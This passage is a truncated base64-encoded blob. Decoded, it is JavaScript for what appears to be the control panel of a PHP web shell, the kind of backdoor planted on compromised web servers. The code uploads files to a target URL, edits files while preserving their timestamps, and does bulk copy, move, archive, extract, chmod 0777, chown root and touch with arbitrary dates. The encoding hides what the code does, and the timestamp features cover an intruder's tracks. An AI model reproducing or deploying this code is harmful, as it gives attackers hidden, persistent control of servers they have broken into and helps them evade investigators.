kkKCcjdWxEcmFnTkRyb3AnKS5vbignZHJhZ2VudGVyJywgZnVuY3Rpb24oZSl7CgkJZS5zdG9wUHJvcGFnYXRpb24oKTsKCQllLnByZXZlbnREZWZhdWx0KCk7Cgl9KTsKCgkkKCcjdWxEcmFnTkRyb3AnKS5vbignZHJhZ292ZXInLCBmdW5jdGlvbihlKXsKCQllLnN0b3BQcm9wYWdhdGlvbigpOwoJCWUucHJldmVudERlZmF1bHQoKTsKCX0pOwoKCSQoJyN1bERyYWdORHJvcCcpLm9uKCdkcm9wJywgZnVuY3Rpb24oZSl7CgkJZS5zdG9wUHJvcGFnYXRpb24oKTsKCQllLnByZXZlbnREZWZhdWx0KCk7CgoJCWZpbGVzID0gZS50YXJnZXQuZmlsZXMgfHwgZS5kYXRhVHJhbnNmZXIuZmlsZXM7CgkJdWxSZXN1bHQgPSAkKCcudWxEcmFnTkRyb3BSZXN1bHQnKTsKCQl1bFJlc3VsdC5odG1sKCcnKTsKCQkkLmVhY2goZmlsZXMsIGZ1bmN0aW9uKGkpewoJCQlpZih0aGlzKXsKCQkJCXVsVHlwZSA9ICdEcmFnTkRyb3AnOwoJCQkJZmlsZW5hbWUgPSB0aGlzLm5hbWU7CgoJCQkJdmFyIGZvcm1EYXRhID0gbmV3IEZvcm1EYXRhKCk7CgkJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsRmlsZScsIHRoaXMpOwoJCQkJZm9ybURhdGEuYXBwZW5kKCd1bFNhdmVUbycsIGdldF9jd2QoKSk7CgkJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsRmlsZW5hbWUnLCBmaWxlbmFtZSk7CgkJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsVHlwZScsICdjb21wJyk7CgoJCQkJZW50cnkgPSAiPHAgY2xhc3M9J3VsUmVzIit1bFR5cGUraSsiJz48c3BhbiBjbGFzcz0nc3Ryb25nJz4mZ3Q7PC9zcGFuPiZuYnNwOzxhIG9uY2xpY2s9J3ZpZXdfZW50cnkodGhpcyk7JyBjbGFzcz0ndWxGaWxlbmFtZSIrdWxUeXBlK2krIic+IitmaWxlbmFtZSsiPC9hPiZuYnNwOzxzcGFuIGNsYXNzPSd1bFByb2dyZXNzIit1bFR5cGUraSsiJz48L3NwYW4+PC9wPiI7CgkJCQl1bFJlc3VsdC5hcHBlbmQoZW50cnkpOwoKCQkJCWlmKHRoaXMuc2l6ZTw9MCl7CgkJCQkJJCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5odG1sKCcoIGZhaWxlZCApJyk7CgkJCQkJJCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxQcm9ncmVzcycrdWxUeXBlK2kpOwoJCQkJCSQoJy51bEZpbGVuYW1lJyt1bFR5cGUraSkucmVtb3ZlQ2xhc3MoJ3VsRmlsZW5hbWUnK3VsVHlwZStpKTsKCQkJCX0KCQkJCWVsc2V7CgkJCQkJdWxfc3RhcnQoZm9ybURhdGEsIHVsVHlwZSwgaSk7CgkJCQl9CgkJCX0KCQl9KTsKCX0pOwp9CgpmdW5jdGlvbiB1bF9hZGRfY29tcChwYXRoKXsKCXBhdGggPSBodG1sX3NhZmUoJCgnLnVsX3BhdGgnKS52YWwoKSk7CgkkKCcudWxjb21wYWRkJykuYXBwZW5kKCI8dHI+PHRkIHN0eWxlPSd3aWR0aDoxNDRweCc+RmlsZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdmaWxlJyBjbGFzcz0ndWxGaWxlQ29tcCc+PC90ZD48L3RyPjx0cj48dGQ+U2F2ZSB0bzwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxTYXZlVG9Db21wJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb19jb21wJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+RmlsZW5hbWUgKE9wdGlvbmFsKTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxGaWxlbmFtZUNvbXAnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb19jb21wJyk7XCI+PC90ZD48L3RyPiIpOwp9CgpmdW5jdGlvbiB1bF9hZGRfdXJsKHBhdGgpewoJcGF0aCA9IGh0bWxfc2FmZSgkKCcudWxfcGF0aCcpLnZhbCgpKTsKCSQoJy51bHVybGFkZCcpLmFwcGVuZCgiPHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHgnPkZpbGUgVVJMPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSd1bEZpbGVVcmwnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb191cmwnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZD5TYXZlIHRvPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSd1bFNhdmVUb1VybCcgdmFsdWU9JyIrcGF0aCsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAndWxfZ29fdXJsJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+RmlsZW5hbWUgKE9wdGlvbmFsKTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxGaWxlbmFtZVVybCcgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3VsX2dvX3VybCcpO1wiPjwvdGQ+PC90cj4iKTsKfQoKZnVuY3Rpb24gdWxfc3RhcnQoZm9ybURhdGEsIHVsVHlwZSwgaSl7Cglsb2FkaW5nX3N0YXJ0KCk7CgkkLmFqYXgoewoJCXVybDogdGFyZ2V0dXJsLAoJCXR5cGU6ICdQT1NUJywKCQlkYXRhOiBmb3JtRGF0YSwKCQljYWNoZTogZmFsc2UsCgkJY29udGVudFR5cGU6IGZhbHNlLAoJCXByb2Nlc3NEYXRhOiBmYWxzZSwKCQl4aHI6IGZ1bmN0aW9uKCl7CgkJCW15WGhyID0gJC5hamF4U2V0dGluZ3MueGhyKCk7CgkJCWlmKG15WGhyLnVwbG9hZCl7CgkJCQlteVhoci51cGxvYWQuYWRkRXZlbnRMaXN0ZW5lcigncHJvZ3Jlc3MnLCBmdW5jdGlvbihlKXsKCQkJCQlwZXJjZW50ID0gTWF0aC5mbG9vcihlLmxvYWRlZCAvIGUudG90YWwgKiAxMDApOwoJCQkJCSQoJy51bFByb2dyZXNzJyt1bFR5cGUraSkuaHRtbCgnKCAnKyBwZXJjZW50ICsnJSApJyk7CgkJCQl9LCBmYWxzZSk7CgkJCX0KCQkJcmV0dXJuIG15WGhyOwoJCX0sCgkJc3VjY2VzczogZnVuY3Rpb24ocmVzKXsKCQkJaWYocmVzLm1hdGNoKC9XYXJuaW5nLipQT1NULipDb250ZW50LUxlbmd0aC4qb2YuKmJ5dGVzLipleGNlZWRzLip0aGUuKmxpbWl0LipvZi8pKXsKCQkJCXJlcyA9ICdlcnJvcic7CgkJCX0KCgkJCWlmKHJlcz09J2Vycm9yJyl7CgkJCQkkKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLmh0bWwoJyggZmFpbGVkICknKTsKCQkJfQoJCQllbHNlewoJCQkJJCgnLnVsUmVzJyt1bFR5cGUraSkuaHRtbChyZXMpOwoJCQl9CgkJCWxvYWRpbmdfc3RvcCgpOwoJCX0sCgkJZXJyb3I6IGZ1bmN0aW9uKCl7CgkJCWxvYWRpbmdfc3RvcCgpOwoJCQkkKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLmh0bWwoJyggZmFpbGVkICknKTsKCQkJJCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxQcm9ncmVzcycrdWxUeXBlK2kpOwoJCQkkKCcudWxGaWxlbmFtZScrdWxUeXBlK2kpLnJlbW92ZUNsYXNzKCd1bEZpbGVuYW1lJyt1bFR5cGUraSk7CgkJfQoJfSk7Cn0KCmZ1bmN0aW9uIHVsX2dvKHVsVHlwZSl7Cgl1bEZpbGUgPSAodWxUeXBlPT0nY29tcCcpPyAkKCcudWxGaWxlQ29tcCcpOiQoJy51bEZpbGVVcmwnKTsKCXVsUmVzdWx0ID0gKHVsVHlwZT09J2NvbXAnKT8gJCgnLnVsQ29tcFJlc3VsdCcpOiQoJy51bFVybFJlc3VsdCcpOwoJdWxSZXN1bHQuaHRtbCgnJyk7CgoJdWxGaWxlLmVhY2goZnVuY3Rpb24oaSl7CgkJaWYoKCh1bFR5cGU9PSdjb21wJykmJnRoaXMuZmlsZXNbMF0pfHwoKHVsVHlwZT09J3VybCcpJiYodGhpcy52YWx1ZSE9JycpKSl7CgkJCWZpbGUgPSAodWxUeXBlPT0nY29tcCcpPyB0aGlzLmZpbGVzWzBdOiB0aGlzLnZhbHVlOwoJCQlmaWxlbmFtZSA9ICh1bFR5cGU9PSdjb21wJyk/IGZpbGUubmFtZTogZmlsZS5zdWJzdHJpbmcoZmlsZS5sYXN0SW5kZXhPZignLycpKzEpOwoKCQkJdWxTYXZlVG8gPSAodWxUeXBlPT0nY29tcCcpPyAkKCcudWxTYXZlVG9Db21wJylbaV0udmFsdWU6JCgnLnVsU2F2ZVRvVXJsJylbaV0udmFsdWU7CgkJCXVsRmlsZW5hbWUgPSAodWxUeXBlPT0nY29tcCcpPyAkKCcudWxGaWxlbmFtZUNvbXAnKVtpXS52YWx1ZTokKCcudWxGaWxlbmFtZVVybCcpW2ldLnZhbHVlOwoKCQkJdmFyIGZvcm1EYXRhID0gbmV3IEZvcm1EYXRhKCk7CgkJCWZvcm1EYXRhLmFwcGVuZCgndWxGaWxlJywgZmlsZSk7CgkJCWZvcm1EYXRhLmFwcGVuZCgndWxTYXZlVG8nLCB1bFNhdmVUbyk7CgkJCWZvcm1EYXRhLmFwcGVuZCgndWxGaWxlbmFtZScsIHVsRmlsZW5hbWUpOwoJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsVHlwZScsIHVsVHlwZSk7CgoJCQllbnRyeSA9ICI8cCBjbGFzcz0ndWxSZXMiK3VsVHlwZStpKyInPjxzcGFuIGNsYXNzPSdzdHJvbmcnPiZndDs8L3NwYW4+Jm5ic3A7PGEgb25jbGljaz0ndmlld19lbnRyeSh0aGlzKTsnIGNsYXNzPSd1bEZpbGVuYW1lIit1bFR5cGUraSsiJz4iK2ZpbGVuYW1lKyI8L2E+Jm5ic3A7PHNwYW4gY2xhc3M9J3VsUHJvZ3Jlc3MiK3VsVHlwZStpKyInPjwvc3Bhbj48L3A+IjsKCQkJdWxSZXN1bHQuYXBwZW5kKGVudHJ5KTsKCgkJCWNoZWNrID0gdHJ1ZTsKCQkJaWYodWxUeXBlPT0nY29tcCcpewoJCQkJY2hlY2sgPSAoZmlsZS5zaXplPD0wKTsKCQkJfQoJCQllbHNlIGNoZWNrID0gKGZpbGU9PSIiKTsKCgkJCWlmKGNoZWNrKXsKCQkJCSQoJy51bFByb2dyZXNzJyt1bFR5cGUraSkuaHRtbCgnKCBmYWlsZWQgKScpOwoJCQkJJCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxQcm9ncmVzcycrdWxUeXBlK2kpOwoJCQkJJCgnLnVsRmlsZW5hbWUnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxGaWxlbmFtZScrdWxUeXBlK2kpOwoJCQl9CgkJCWVsc2V7CgkJCQl1bF9zdGFydChmb3JtRGF0YSwgdWxUeXBlLCBpKTsKCQkJfQoJCX0KCX0pOwp9CgpmdW5jdGlvbiB0cmFwX2N0cmxfZW50ZXIoZWwsIGUsIGNhbGxiYWNrKXsKCWlmKGUuY3RybEtleSAmJiAoZS5rZXlDb2RlID09IDEwIHx8IGUua2V5Q29kZSA9PSAxMykpewoJCWlmKGNhbGxiYWNrIT1udWxsKSB3aW5kb3dbY2FsbGJhY2tdKCk7Cgl9CglmaXhfdGFiY2hhcihlbCwgZSk7Cn0KCmZ1bmN0aW9uIGVkaXRfc2F2ZV9yYXcoKXsKCWVkaXRfc2F2ZSgnZWRpdCcpOwp9CgpmdW5jdGlvbiBlZGl0X3NhdmVfaGV4KCl7CgllZGl0X3NhdmUoJ2hleCcpOwp9CgpmdW5jdGlvbiBlZGl0X3NhdmUoZWRpdFR5cGUpewoJZWRpdEZpbGVuYW1lID0gJCgnI2VkaXRGaWxlbmFtZScpLnZhbCgpOwoJZWRpdElucHV0ID0gJCgnI2VkaXRJbnB1dCcpLnZhbCgpOwoJZWRpdFN1Y2Nlc3MgPSBmYWxzZTsKCXByZXNlcnZlVGltZXN0YW1wID0gJ2ZhbHNlJzsKCWlmKCQoJy5jQm94JykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpKSBwcmVzZXJ2ZVRpbWVzdGFtcCA9ICd0cnVlJzsKCXNlbmRfcG9zdCh7ZWRpdFR5cGU6ZWRpdFR5cGUsZWRpdEZpbGVuYW1lOmVkaXRGaWxlbmFtZSxlZGl0SW5wdXQ6ZWRpdElucHV0LHByZXNlcnZlVGltZXN0YW1wOnByZXNlcnZlVGltZXN0YW1wfSwKCQlmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCWVkaXRTdWNjZXNzID0gJ3N1Y2Nlc3MnOwoJCQl2aWV3KGVkaXRGaWxlbmFtZSwgZWRpdFR5cGUsIHByZXNlcnZlVGltZXN0YW1wKTsKCQl9CgkJZWxzZSBlZGl0U3VjY2VzcyA9ICdlcnJvcic7CgkJfQoJKTsKfQoKCgpmdW5jdGlvbiBtYXNzX2FjdCh0eXBlKXsKCWJ1ZmZlciA9IGdldF9hbGxfY2JveF9zZWxlY3RlZCgneHBsVGFibGUnLCAneHBsX2hyZWYnKTsKCglpZigodHlwZT09J2N1dCcpfHwodHlwZT09J2NvcHknKSl7CgkJbG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2J1ZmZlckxlbmd0aCcsIGJ1ZmZlci5sZW5ndGgpOwoJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdidWZmZXJBY3Rpb24nLCB0eXBlKTsKCQkkLmVhY2goYnVmZmVyLGZ1bmN0aW9uKGksdil7CgkJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdidWZmZXJfJytpLCB2KTsKCQl9KTsKCX0KCWVsc2UgaWYodHlwZT09J3Bhc3RlJyl7CgkJYnVmZmVyTGVuZ3RoID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2J1ZmZlckxlbmd0aCcpOwoJCWJ1ZmZlckFjdGlvbiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJBY3Rpb24nKTsKCQlpZihidWZmZXJMZW5ndGg+MCl7CgkJCW1hc3NCdWZmZXIgPSAnJzsKCQkJZm9yKHZhciBpPTA7aTxidWZmZXJMZW5ndGg7aSsrKXsKCQkJCWlmKChidWZmID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2J1ZmZlcl8nK2kpKSl7CgkJCQkJbWFzc0J1ZmZlciArPSBidWZmICsgJ1xuJzsKCQkJCX0KCQkJfQoJCQltYXNzQnVmZmVyID0gJC50cmltKG1hc3NCdWZmZXIpOwoKCQkJaWYoYnVmZmVyQWN0aW9uPT0nY3V0JykgdGl0bGUgPSAnbW92ZSc7CgkJCWVsc2UgaWYoYnVmZmVyQWN0aW9uPT0nY29weScpIHRpdGxlID0gJ2NvcHknOwoKCQkJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgY2xhc3M9J21hc3NCdWZmZXInIHN0eWxlPSdoZWlnaHQ6MTIwcHg7bWluLWhlaWdodDoxMjBweDsnIGRpc2FibGVkPiIrbWFzc0J1ZmZlcisiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz4iK3RpdGxlKyIgaGVyZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nIitodG1sX3NhZmUoZ2V0X2N3ZCgpKSsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFzc19hY3RfZ29fcGFzdGUnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwibWFzc19hY3RfZ28oJ3Bhc3RlJyk7XCI+Iit0aXRsZSsiPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CgkJCXNob3dfYm94KHVjZmlyc3QodGl0bGUpLCBjb250ZW50KTsKCQl9CgoJfQoJZWxzZSBpZigodHlwZT09J2V4dHJhY3QgKHRhciknKXx8KHR5cGU9PSdleHRyYWN0ICh0YXIuZ3opJyl8fCh0eXBlPT0nZXh0cmFjdCAoemlwKScpKXsKCQlpZih0eXBlPT0nZXh0cmFjdCAodGFyKScpIGFyY1R5cGUgPSAndW50YXInOwoJCWVsc2UgaWYodHlwZT09J2V4dHJhY3QgKHRhci5neiknKSBhcmNUeXBlID0gJ3VudGFyZ3onOwoJCWVsc2UgaWYodHlwZT09J2V4dHJhY3QgKHppcCknKSBhcmNUeXBlID0gJ3VuemlwJzsKCgkJaWYoYnVmZmVyLmxlbmd0aD4wKXsKCQkJbWFzc0J1ZmZlciA9ICcnOwoJCQkkLmVhY2goYnVmZmVyLGZ1bmN0aW9uKGksdil7CgkJCQltYXNzQnVmZmVyICs9IHYgKyAnXG4nOwoJCQl9KTsKCQkJbWFzc0J1ZmZlciA9ICQudHJpbShtYXNzQnVmZmVyKTsKCQkJdGl0bGUgPSB0eXBlOwoKCQkJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgY2xhc3M9J21hc3NCdWZmZXInIHN0eWxlPSdoZWlnaHQ6MTIwcHg7bWluLWhlaWdodDoxMjBweDsnIHdyYXA9J29mZicgZGlzYWJsZWQ+IittYXNzQnVmZmVyKyI8L3RleHRhcmVhPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkV4dHJhY3QgdG88L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9JyIraHRtbF9zYWZlKGdldF9jd2QoKSkrIicgIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK2FyY1R5cGUrIicpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYXNzX2FjdF9nbygnIithcmNUeXBlKyInKTtcIj5leHRyYWN0PC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CgkJCXNob3dfYm94KHVjZmlyc3QodGl0bGUpLCBjb250ZW50KTsKCQl9Cgl9CgllbHNlIGlmKCh0eXBlPT0nY29tcHJlc3MgKHRhciknKXx8KHR5cGU9PSdjb21wcmVzcyAodGFyLmd6KScpfHwodHlwZT09J2NvbXByZXNzICh6aXApJykpewoJCWRhdGUgPSBuZXcgRGF0ZSgpOwoJCXJhbmQgPSBkYXRlLmdldFRpbWUoKTsKCQlpZih0eXBlPT0nY29tcHJlc3MgKHRhciknKXsKCQkJYXJjVHlwZSA9ICd0YXInOwoJCQlhcmNGaWxlbmFtZSA9IHJhbmQrJy50YXInOwoJCX0KCQllbHNlIGlmKHR5cGU9PSdjb21wcmVzcyAodGFyLmd6KScpewoJCQlhcmNUeXBlID0gJ3Rhcmd6JzsKCQkJYXJjRmlsZW5hbWUgPSByYW5kKycudGFyLmd6JzsKCQl9CgkJZWxzZSBpZih0eXBlPT0nY29tcHJlc3MgKHppcCknKXsKCQkJYXJjVHlwZSA9ICd6aXAnOwoJCQlhcmNGaWxlbmFtZSA9IHJhbmQrJy56aXAnOwoJCX0KCgkJaWYoYnVmZmVyLmxlbmd0aD4wKXsKCQkJbWFzc0J1ZmZlciA9ICcnOwoJCQkkLmVhY2goYnVmZmVyLGZ1bmN0aW9uKGksdil7CgkJCQltYXNzQnVmZmVyICs9IHYgKyAnXG4nOwoJCQl9KTsKCQkJbWFzc0J1ZmZlciA9ICQudHJpbShtYXNzQnVmZmVyKTsKCQkJdGl0bGUgPSB0eXBlOwoKCQkJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgY2xhc3M9J21hc3NCdWZmZXInIHN0eWxlPSdoZWlnaHQ6MTIwcHg7bWluLWhlaWdodDoxMjBweDsnIHdyYXA9J29mZicgZGlzYWJsZWQ+IittYXNzQnVmZmVyKyI8L3RleHRhcmVhPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkFyY2hpdmU8L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9JyIrYXJjRmlsZW5hbWUrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21hc3NfYWN0X2dvXyIrYXJjVHlwZSsiJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cIm1hc3NfYWN0X2dvKCciK2FyY1R5cGUrIicpO1wiPmNvbXByZXNzPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CgkJCXNob3dfYm94KHVjZmlyc3QodGl0bGUpLCBjb250ZW50KTsKCQl9Cgl9CgllbHNlIGlmKHR5cGUhPScnKXsKCQlpZihidWZmZXIubGVuZ3RoPjApewoJCQltYXNzQnVmZmVyID0gJyc7CgkJCSQuZWFjaChidWZmZXIsZnVuY3Rpb24oaSx2KXsKCQkJCW1hc3NCdWZmZXIgKz0gdiArICdcbic7CgkJCX0pOwoJCQltYXNzQnVmZmVyID0gJC50cmltKG1hc3NCdWZmZXIpOwoJCQl0aXRsZSA9IHR5cGU7CgkJCWxpbmUgPSAnJzsKCQkJaWYodHlwZT09J2NobW9kJykgbGluZSA9ICI8dHI+PHRkIGNsYXNzPSdjb2xGaXQnPmNobW9kPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdtYXNzVmFsdWUnIHR5cGU9J3RleHQnIHZhbHVlPScwNzc3JyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFzc19hY3RfZ29fIit0eXBlKyInKTtcIj48L3RkPjwvdHI+IjsKCQkJZWxzZSBpZih0eXBlPT0nY2hvd24nKSBsaW5lID0gIjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+Y2hvd248L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9J3Jvb3QnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK3R5cGUrIicpO1wiPjwvdGQ+PC90cj4iOwoJCQllbHNlIGlmKHR5cGU9PSd0b3VjaCcpewoJCQkJdmFyIG5vdyA9IG5ldyBEYXRlKCk7CgkJCQlsaW5lID0gIjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+dG91Y2g8L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9JyIrbm93LnRvR01UU3RyaW5nKCkrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21hc3NfYWN0X2dvXyIrdHlwZSsiJyk7XCI+PC90ZD48L3RyPiI7CgkJCX0KCgkJCWNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGNsYXNzPSdtYXNzQnVmZmVyJyBzdHlsZT0naGVpZ2h0OjEyMHB4O21pbi1oZWlnaHQ6MTIwcHg7JyB3cmFwPSdvZmYnIGRpc2FibGVkPiIrbWFzc0J1ZmZlcisiPC90ZXh0YXJlYT48L3RkPjwvdHI+IitsaW5lKyI8dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYXNzX2FjdF9nbygnIit0eXBlKyInKTtcIj4iK3RpdGxlKyI8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjsKCQkJc2hvd19ib3godWNmaXJzdCh0aXRsZSksIGNvbnRlbnQpOwoJCX0KCX0KCgkkKCcuY0JveFNlbGVjdGVkJykucmVtb3ZlQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpOwoJeHBsX3VwZGF0ZV9zdGF0dXMoKTsKfQoKZnVuY3Rpb24gbWFzc19hY3RfZ29fdGFyKCl7CgltYXNzX2FjdF9nbygndGFyJyk7Cn0KCmZ1bmN0aW9uIG1hc3NfYWN0X2dvX3Rhcmd6KCl7CgltYXNzX2FjdF9nbygndGFyZ3onKTsKfQoKZnVuY3Rpb24gbWFzc19hY3RfZ29femlwKCl7CgltYXNzX2FjdF9nbygnemlwJyk7Cn0KCmZ1bmN0aW9uIG1hc3NfYWN0X2dvX3VudGFyKCl7CgltYXNzX2FjdF9nbygndW50YXInKTsKfQoKZnVuY3Rpb24gbWFzc19hY3RfZ29fdW50YXJneigpewoJbWFzc19hY3RfZ28oJ3VudGFyZ3onKTsKfQoKZnVuY3Rpb24gbWFzc19hY3RfZ29fdW56aXAoKXsKCW1hc3NfYWN0X2dvKCd1bnppcCcpOwp9CgpmdW5jdGlvbiBtYXNzX2FjdF9nb19wYXN0ZSgpewoJbWFzc19hY3RfZ28oJ3Bhc3RlJyk7Cn0KCmZ1bmN0aW9uIG1hc3NfYWN0X2dvX2NobW9kKCl7CgltYXNzX2FjdF9nbygnY2htb2QnKTsKfQoKZnVuY3Rpb24gbWFzc19hY3RfZ29fY2hvd24oKXsKCW1hc3NfYWN0X2dvKCdjaG93bicpOwp9CgpmdW5jdGlvbiBtYXNzX2FjdF9nb190b3VjaCgpewoJbWFzc19hY3RfZ28oJ3RvdWNoJyk7Cn0KCmZ1bmN0aW9uIG1hc3NfYWN0X2dvKG1hc3NUeXBlKXsKCW1hc3NCdWZmZXIgPSAkLnRyaW0oJCgnLm1hc3NCdWZmZXInKS52YWwoKSk7CgltYXNzUGF0aCA9IGdldF9jd2QoKTsKCW1hc3NWYWx1ZSA9ICcnOwoJaWYobWFzc1R5cGU9PSdwYXN0ZScpewoJCWJ1ZmZlckxlbmd0aCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJMZW5ndGgnKTsKCQlidWZmZXJBY3Rpb24gPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnYnVmZmVyQWN0aW9uJyk7CgkJaWYoYnVmZmVyTGVuZ3RoPjApewoJCQltYXNzQnVmZmVyID0gJyc7CgkJCWZvcih2YXIgaT0wO2k8YnVmZmVyTGVuZ3RoO2krKyl7CgkJCQlpZigoYnVmZiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJfJytpKSkpewoJCQkJCW1hc3NCdWZmZXIgKz0gYnVmZiArICdcbic7CgkJCQl9CgkJCX0KCQkJbWFzc0J1ZmZlciA9ICQudHJpbShtYXNzQnVmZmVyKTsKCQkJaWYoYnVmZmVyQWN0aW9uPT0nY29weScpIG1hc3NUeXBlID0gJ2NvcHknOwoJCQllbHNlIGlmKGJ1ZmZlckFjdGlvbj09J2N1dCcpIG1hc3NUeXBlID0gJ2N1dCc7CgkJfQoJfQoJZWxzZSBpZigobWFzc1R5cGU9PSdjaG1vZCcpfHwobWFzc1R5cGU9PSdjaG93bicpfHwobWFzc1R5cGU9PSd0b3VjaCcpKXsKCQltYXNzVmFsdWUgPSAkKCcubWFzc1ZhbHVlJykudmFsKCk7Cgl9CgllbHNlIGlmKChtYXNzVHlwZT09J3RhcicpfHwobWFzc1R5cGU9PSd0YXJneicpfHwobWFzc1R5cGU9PSd6aXAnKSl7CgkJbWFzc1ZhbHVlID0gJCgnLm1hc3NWYWx1ZScpLnZhbCgpOwoJfQoJZWxzZSBpZigobWFzc1R5cGU9PSd1bnRhcicpfHwobWFzc1R5cGU9PSd1bnRhcmd6Jyl8fChtYXNzVHlwZT09J3VuemlwJykpewoJCW1hc3NWYWx1ZSA9ICQoJy5tYXNzVmFsdWUnKS52YWwoKTsKCX0KCgoJaWYobWFzc0J1ZmZlciE9JycpewoJCXNlbmRfcG9zdCh7bWFzc1R5cGU6bWFzc1R5cGUsbWFzc0J1ZmZlcjptYXNzQnVmZmVyLG1hc3NQYXRoOm1hc3NQYXRoLG1hc3NWYWx1ZTptYXNzVmFsdWUgfSwgZnVuY3Rpb24ocmVzKXsKCQkJaWYocmVzIT0nZXJyb3InKXsKCQkJCSQoJy5ib3hyZXN1bHQnKS5odG1sKHJlcysnIE9wZXJhdGlvbihzKSBzdWNjZWVkZWQnKTsKCQkJfQoJCQllbHNlICQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgZmFpbGVkJyk7CgkJCW5hdmlnYXRlKGdldF9jd2QoKSk7CgkJfSk7Cgl9Cn0KCmZ1bmN0aW9uIHhwbF91cGRhdGVfc3RhdHVzKCl7Cgl0b3RhbFNlbGVjdGVkID0gJCgnI3hwbFRhYmxlJykuZmluZCgnLmNCb3hTZWxlY3RlZCcpLm5vdCgnLmNCb3hBbG